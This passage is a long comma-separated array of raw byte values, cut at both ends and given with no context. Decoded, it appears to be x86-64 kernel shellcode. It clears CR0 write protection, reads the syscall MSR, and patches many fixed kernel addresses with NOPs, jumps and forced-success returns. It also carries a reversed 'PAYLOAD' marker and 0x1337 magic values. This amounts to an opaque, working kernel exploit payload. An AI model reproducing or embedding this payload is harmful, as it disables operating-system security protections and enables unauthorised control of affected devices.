,149,49,0,235,76,72,137,239,102,199,131,192,81,9,0,49,192,186,0,64,0,0,198,131,194,81,9,0,195,198,131,58,208,15,0,55,198,131,61,208,15,0,55,199,131,143,214,52,0,184,0,0,0,198,131,147,214,52,0,0,198,131,188,180,1,0,7,198,131,196,180,1,0,7,102,199,131,7,228,37,0,144,144,102,199,131,19,228,37,0,144,144,198,131,21,228,37,0,144,102,199,131,18,227,37,0,144,144,102,199,131,30,227,37,0,144,144,198,131,32,227,37,0,144,102,199,131,179,232,37,0,144,144,102,199,131,191,232,37,0,144,144,198,131,193,232,37,0,144,102,199,131,240,232,37,0,144,144,198,131,205,225,37,0,235,199,131,109,65,23,0,144,144,144,144,102,199,131,113,65,23,0,144,144,199,131,47,70,23,0,233,124,2,0,198,131,51,70,23,0,0,199,131,76,3,53,0,72,49,192,144,198,131,80,3,53,0,144,199,131,134,235,17,0,144,144,144,144,102,199,131,138,235,17,0,144,144,199,131,139,198,62,0,144,144,144,144,102,199,131,143,198,62,0,144,144,102,199,131,208,29,104,0,49,192,198,131,210,29,104,0,195,102,199,131,0,223,100,0,176,1,198,131,2,223,100,0,195,102,199,131,48,223,100,0,176,1,198,131,50,223,100,0,195,102,199,131,199,11,67,0,235,59,199,131,39,41,9,0,144,144,144,144,102,199,131,43,41,9,0,144,144,199,131,199,22,51,0,144,144,144,144,102,199,131,203,22,51,0,144,144,102,199,131,210,230,37,0,144,144,102,199,131,225,230,37,0,144,144,199,131,216,69,78,0,0,0,0,0,199,131,76,88,78,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,71,54,56,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,71,54,56,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,149,197,100,0,41,202,137,144,209,195,100,0,72,141,21,214,254,255,255,129,234,99,211,100,0,41,202,137,144,159,209,100,0,72,141,21,73,249,255,255,129,234,90,128,98,0,41,202,137,144,150,126,98,0,72,141,21,146,253,255,255,129,234,18,244,97,0,41,202,137,144,78,242,97,0,72,141,21,17,250,255,255,68,141,130,242,42,151,255,129,234,63,215,104,0,65,41,200,41,202,68,137,128,74,211,104,0,137,144,123,213,104,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,19,186,99,0,41,209,137,136,79,184,99,0,72,141,13,36,251,255,255,68,141,129,85,62,156,255,129,233,142,206,99,0,41,209,65,41,208,137,136,202,204,99,0,72,141,13,91,252,255,255,129,233,162,245,99,0,68,137,128,231,191,99,0,41,209,137,136,222,243,99,0,72,141,13,90,254,255,255,129,233,221,1,100,0,41,209,137,136,25,0,100,0,72,141,13,222,251,255,255,129,233,193,184,99,0,41,209,137,136,253,182,99,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,80,124,167,1,72,137,21,193,16,0,0,72,141,144,104,125,87,1,72,137,21,171,16,0,0,72,141,144,32,67,178,1,72,137,21,149,16,0,0,72,141,144,40,249,99,2,72,137,21,127,16,0,0,72,141,144,72,62,100,2,72,137,21,105,16,0,0,72,141,144,136,134,100,2,72,137,21,83,16,0,0,72,141,144,152,134,100,2,72,137,21,61,16,0,0,72,141,144,64,190,100,2,72,137,21,39,16,0,0,72,141,144,72,198,100,2,72,137,21,17,16,0,0,72,141,144,64,195,102,2,72,137,21,251,15,0,0,72,141,144,16,195,15,1,72,137,21,229,15,0,0,72,141,144,208,88,25,0,72,137,21,143,16,0,0,72,141,144,128,161,67,0,72,137,21,121,16,0,0,72,141,144,64,163,67,0,72,137,21,99,16,0,0,72,141,144,48,246,70,0,72,137,21,77,16,0,0,72,141,144,240,247,70,0,72,137,21,55,16,0,0,72,141,144,80,154,67,0,72,137,21,33,16,0,0,72,141,144,240,18,23,0,72,137,21,11,16,0,0,72,141,144,176,19,23,0,72,137,21,245,15,0,0,72,141,144,0,224,37,0,72,137,21,223,15,0,0,72,141,144,160,106,15,0,72,137,21,201,15,0,0,72,141,144,208,94,47,0,72,137,21,179,15,0,0,72,141,144,32,9,67,0,72,137,21,157,15,0,0,72,141,144,176,224,38,0,72,137,21,135,15,0,0,72,141,144,0,86,29,0,72,137,21,25,15,0,0,72,141,144,32,245,98,0,72,137,21,3,15,0,0,72,141,144,128,29,100,0,72,137,21,237,14,0,0,72,141,144,192,37,100,0,72,137,21,215,14,0,0,72,141,144,128,207,99,0,72,137,21,193,14,0,0,72,141,144,224,29,100,0,72,137,21,171,14,0,0,72,141,144,224,201,97,0,72,137,21,109,14,0,0,72,141,144,208,227,97,0,72,137,21,71,14,0,0,72,141,144,144,224,97,0,72,137,21,65,14,0,0,72,141,144,240,125,98,0,72,137,21,59,14,0,0,72,141,144,96,220,97,0,72,137,21,21,14,0,0,72,141,144,32,154,97,0,72,137,21,47,14,0,0,72,141,144,224,243,56,0,72,137,21,65,14,0,0,72,141,144,240,99,22,0,72,137,21,35,14,0,0,72,141,144,32,102,22,0,72,137,21,13,14,0,0,72,141,144,208,105,18,0,72,137,21,15,14,0,0,72,141,144,176,53,23,0,72,137,21,145,13,0,0,72,141,144,32,115,62,0,72,137,21,171,13,0,0,72,141,144,80,113,62,0,72,137,21,149,13,0,0,72,141,144,192,116,62,0,72,137,21,127,13,0,0,72,141,144,16,117,62,0,72,5,0,123,62,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,3,197,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,47,26,61,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,128,52,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,112,53,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,231,2,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,112,41,60,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,241,97,252,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,193,197,160,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,109,117,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,166,149,114,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,246,98,56,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,128,116,218,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,0,115,24,0,77,137,224,7